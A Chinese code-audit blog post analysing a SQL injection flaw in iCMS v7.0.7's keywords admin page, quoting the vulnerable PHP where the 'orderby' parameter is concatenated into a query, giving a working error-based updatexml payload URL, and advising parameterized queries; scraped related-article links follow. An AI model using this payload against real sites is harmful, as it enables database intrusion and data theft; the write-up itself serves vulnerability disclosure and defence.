【代码审计】iCMS_v7.0.7 keywords.admincp.php页面存在SQL注入漏洞分析
0x00 环境准备
iCMS官网:https://www.icmsdev.com
网站源码版本:iCMS-v7.0.7
程序源码下载:https://www.icmsdev.com/download/release/iCMS7/latest
默认后台地址:http://127.0.0.1/admincp.php
默认账号密码:用户名密码自设
测试网站首页:

0x01 代码分析
1、漏洞文件位置:/app/keywords/keywords.admincp.php 第74-85行:
- public function do_iCMS(){
- if($_GET['keywords']) {
- $sql=" WHERE `keyword` REGEXP '{$_GET['keywords']}'";
- }
- $orderby =$_GET['orderby']?$_GET['orderby']:"id DESC";
- $maxperpage = $_GET['perpage']>0?(int)$_GET['perpage']:20;
- $total = iCMS::page_total_cache("SELECT count(*) FROM `#iCMS@__keywords` {$sql}","G");
- iUI::pagenav($total,$maxperpage,"个关键词");
- $rs = iDB::all("SELECT * FROM `#iCMS@__keywords` {$sql} order by {$orderby} LIMIT ".iUI::$offset." , {$maxperpage}");
- 10. $_count = count($rs);
- 11. include admincp::view("keywords.manage");
- 12. }
这段函数中将获取到的参数keywords、orderby、parpage,然后进行SQL语句拼接,其中keywords有单引号保护,parpage强制转换为数字类型,orderby参数未经任何处理,带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。
0x02 漏洞利用
根据漏洞位置,构造出参数 Payload:
http://127.0.0.1/admincp.php?app=keywords&perpage=20&keywords=1111&orderby=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))--

0x03 修复建议
使用参数化查询可有效避免SQL注入
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

【代码审计】iCMS_v7.0.7 keywords.admincp.php页面存在SQL注入漏洞分析的更多相关文章
- 【代码审计】iCMS_v7.0.7 apps.admincp.php页面存在SQL注入漏洞分析
0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...
- 【代码审计】iCMS_v7.0.7 search.admincp.php页面存在SQL注入漏洞
0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...
- 【代码审计】iZhanCMS_v2.1 前台IndexController.php页面存在SQL注入 漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- 【代码审计】iZhanCMS_v2.1 前台GoodsController.php页面存在SQL注入漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- 【代码审计】iCMS_v7.0.7 admincp.app.php页面存在SQL注入漏洞分析
0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...
- 【代码审计】五指CMS_v4.1.0 copyfrom.php 页面存在SQL注入漏洞分析
0x00 环境准备 五指CMS官网:https://www.wuzhicms.com/ 网站源码版本:五指CMS v4.1.0 UTF-8 开源版 程序源码下载:https://www.wuzhi ...
- Beescms_v4.0 sql注入漏洞分析
Beescms_v4.0 sql注入漏洞分析 一.漏洞描述 Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入. 二.漏洞环境搭建 1.官方下载 ...
- 【代码审计】五指CMS_v4.1.0 后台存在SQL注入漏洞分析
0x00 环境准备 五指CMS官网:https://www.wuzhicms.com/ 网站源码版本:五指CMS v4.1.0 UTF-8 开源版 程序源码下载:https://www.wuzhi ...
- 【代码审计】XIAOCMS_后台database.php页面存在SQL注入漏洞
0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...
随机推荐
- .gitignore不生效解决办法
.gitignore只能忽略那些原来没有被track的文件,如果某些文件已经被纳入了版本管理中,则修改.gitignore是无效的.那么解决方法就是先把本地缓存删除(改变成未track状态),然后再提 ...
- Sword protobuf学习三
#include <iostream> #include <sys/types.h> /* See NOTES */ #include <sys/socket.h> ...
- Linux共享库 zlog日志
[ global] strict init = false buffer min = buffer max = 2MB rotate lock file= /tmp/zlog.lock [format ...
- hbase分页应用场景及分页思路与代码实现
转自:http://www.aboutyun.com/forum.php?mod=viewthread&tid=7030&extra=page=1 可以带着下面问题来阅读1.hbase ...
- Hadoop开发相关问题
总结自己在Hadoop开发中遇到的问题,主要在mapreduce代码执行方面.大部分来自日常代码执行错误的解决方法,还有一些是对Java.Hadoop剖析.对于问题,通过查询stackoverflow ...
- Spring加载静态资源的方式
解决方法1:在web.xml里添加如下的配置 <servlet-mapping> <servlet-name>default</servlet-name> < ...
- Eclipse中配置resin 4.x
开发web项目时,你还困扰在,反复启动web容器的痛苦中么?也许会有人说,用调试模式.但是如果涉及到配置文件或者service类,还是不得不重启web容器吧,而且偶尔会出现抽风情况,没生效的情况(这时 ...
- 获取select 的 val 和 text [转引]
(原文地址:http://apps.hi.baidu.com/share/detail/6152780) jQuery获取Select选择的Text和Value:语法解释:1. $("#se ...
- JDBC插入数据实例
在本教程将演示如何在JDBC应用程序中向数据库的一个表中插入数据记录. 在执行以下示例之前,请确保您已经准备好以下操作: 具有数据库管理员权限,以在给定模式中数据库表中插入数据记录. 要执行以下示例, ...
- Mybatis增删改查(CURD)
前面的小节我们已经讲到用接口的方式编程.使用这种方式,需要注意的一个地方就是,在User.xml 配置文件中,mapper namespace="com.yiibai.mybatis.int ...